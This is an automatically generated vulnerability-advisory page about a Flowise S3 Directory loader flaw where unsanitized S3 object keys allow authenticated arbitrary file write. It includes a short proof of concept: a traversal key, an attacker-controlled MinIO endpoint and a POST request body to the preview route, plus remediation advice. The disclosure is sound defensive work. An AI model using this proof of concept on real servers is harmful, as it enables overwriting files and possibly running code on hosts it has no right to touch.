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OSV ecosystem advisory

GHSA-88pr-878c-24wf: Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys

High—No exploit Fix available

Noroxi assessment

Priority: Monitor (action score 0/100)

  • The sources we track (CISA KEV, Exploit-DB, Metasploit, Nuclei, GitHub) show no public exploit code or exploitation in the wild.
  • Anyone who can reach it over the internet can trigger it. A low-privileged account is enough. No user action is required. No special conditions are required; it is repeatable.
  • Fixed version: flowise (npm) 3.1.3; flowise-components (npm) 3.1.3.

Low priority for now. Upgrade to flowise (npm) 3.1.3; flowise-components (npm) 3.1.3 or later.

Generated automatically from the record's data: CVSS (NVD and CNA), CISA KEV and SSVC, FIRST EPSS, exploit sources, fixed versions. How we calculate it

Primary sources: OSV

## Summary Flowise on current `main` allows an authenticated user with `documentStores:preview-process` permission to trigger the `S3 Directory` document loader with attacker-controlled S3 object keys. The loader joins each returned S3 key with a temporary directory using `path.join(tempDir, key)` and writes the object bytes to disk **without validating traversal sequences such as `../`**. Cleanup later removes only the original temporary directory, so files written outside that directory persist on the host filesystem. This yields **arbitrary file write** with the privileges of the Flowise server process. A related variant exists in the `S3File` loader when `fileProcessingMethod = unstructured` (same root cause; its cleanup behavior turns it into a mixed arbitrary write/delete/DoS primitive). ## Affected component - `packages/components/nodes/documentloaders/S3Directory/S3Directory.ts` - line **191**: `filePath = path.join(tempDir, key)` (unsanitized) - line **213**: recursive `mkdirSync` creates parent path - line **216**: `writeFileSync` writes attacker-controlled bytes - line **289**: cleanup only removes the original `tempDir`, so escaped files remain on disk - Related (variant): `packages/components/nodes/documentloaders/S3File/S3File.ts` (lines 756, 780, 782, 817 — arbitrary write + recursive dirname delete) ## Reachability - Routes exposed: `packages/server/src/routes/documentstore/index.ts:41,45` (`/api/v1/document-store/loader/preview`, `/api/v1/document-store/loader/process/:loaderId`) - Both require `documentStores:preview-process` - `packages/server/src/services/documentstore/index.ts:588` passes `data.loaderConfig` straight to the loader node **with no path sanitization** - `S3Directory` accepts a custom `serverUrl`, so the attacker does **not need access to an existing trusted AWS bucket** — they can point Flowise at a local MinIO or any S3-compatible endpoint they control ## Impact - Authenticated arbitrary file write to any path writable by the Flowise process - Destructive overwrite of application data, secrets, or configuration - Deployment-dependent lift to RCE if the service account can modify executable, startup, or interpreter-loaded files (e.g. `.bashrc`, systemd units, cron files, `require.resolve` targets, `package.json` postinstall scripts). This is not guaranteed product-wide. ## Preconditions - Flowise instance running (HTTP server mode) - Attacker has a workspace account with the `documentStores:preview-process` role - No additional infrastructure required — `serverUrl` can point to attacker-controlled S3-compatible endpoint ## Proof of Concept 1. Authenticate as a user with `documentStores:preview-process` 2. Run an S3-compatible server the attacker controls (e.g. MinIO) 3. Create an object with a traversal key such as: `../../../../tmp/flowise-poc.txt` 4. Trigger: POST /api/v1/document-store/loader/preview (or /api/v1/document-store/loader/process/:loaderId) body: { "loaderId": "s3Directory", "loaderConfig": { "serverUrl": "http://attacker-minio:9000", "bucketName": "attacker-bucket", "prefix": "", "credential": "" } } 5. Observe that Flowise writes the object bytes to the escaped path 6. Observe that cleanup removes only the original temp directory; the escaped file persists Local reproduction confirmed: writing a key containing `../../escape-target/poc.txt` from a nested temp root created the file outside the temp directory, and the cleanup removed only `tempDir`. ## Root Cause The loader trusts S3 object keys as safe local relative paths. It should canonicalize the destination with `path.resolve(...)`, verify the resolved path remains within the intended temp directory, and reject traversal or absolute-path patterns before any directory creation or file write. ## Suggested Remediation The repository already has shared path validators that are not used here: - `packages/components/src/validator.ts:35` defines traversal checks - `packages/components/src/validator.ts:295` defines `sanitizeFileName` Recommended fix: 1. Replace `path.join(tempDir, key)` with a resolve-and-verify flow 2. Reject any resolved path outside `tempDir` 3. Prefer a sanitized basename if directory structure is not required 4. Apply the same fix to the `S3File` loader (`fileProcessingMethod = unstructured` branch)

Published
Aug 4, 2026
Updated
Aug 4, 2026
EPSS
—

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Action score

0

Monitor

Low priority for now.

CVSS
0 / 40 · —
CISA KEV
0 / 30 · Not listed
EPSS
0 / 30 · —

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Noroxi analysis

What does it mean in your environment?

The assessment above is generated automatically from the record's data; it doesn't know your environment. Our team verifies on your systems whether this vulnerability is actually exploitable and which mitigation is enough.

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Affected systems

Is your version affected?

Pick the product and type the version you run. It's compared with this record's version ranges in your browser; the version isn't sent anywhere.

VendorProduct
npmflowise-components
npmflowise

Package-level exposure

OSV and GitHub Advisory data: ecosystem, package and range. SBOM matching uses this table.

EcosystemPackageAffected rangeFix
npmflowisebefore 3.1.33.1.3
npmflowise-componentsbefore 3.1.33.1.3

Remediation

Which version to upgrade to

Fix versions compiled from the vendor, package registries and Microsoft. Verify the vendor's note before upgrading.

Product / packageFixed versionSource
npm:flowise3.1.3Package registry (OSV)
npm:flowise-components3.1.3Package registry (OSV)

Exploit status

No known public exploit

No public exploit has been observed yet. That doesn't mean you're safe, only that the bar is a little higher.

Research context

For pentesters and researchers: attack profile, score disagreement, timeline, patch commits, credits, variant and chain candidates, bug bounty scope. All derived from existing data; no exploit code.

Timeline

From publication to today: proof of concept, Metasploit module, CISA KEV and fix record. Dates are as reported by the sources.

No dated events beyond publication.

Patch and commit links

Commit, PR and diff links among the references. A starting point for patch-diffing and variant hunting; fixes, not exploits.

Not on record for this CVE: EPSS history · researcher credit · variant or chain candidate · public bounty program.

Technical details

Attack conditions

  • Anyone who can reach it over the internet can trigger it.
  • A low-privileged account is enough.
  • No user action is required.
  • No special conditions are required; it is repeatable.

If successful

Confidentiality
Integrity
Availability
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None

CVSS vector

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

osv

Root cause

A user-supplied file name is joined with the allowed directory, but the result is never checked to confirm it is still inside that directory.

A representative example of this vulnerability class. Not the vendor's source code; it shows the faulty pattern and its fix.

Vulnerable

ts
const file = path.join(ROOT, req.query.name);res.sendFile(file);

Fixed

ts
const file = path.resolve(ROOT, req.query.name);if (!file.startsWith(ROOT + path.sep)) {  return res.sendStatus(400);}res.sendFile(file);

References

All records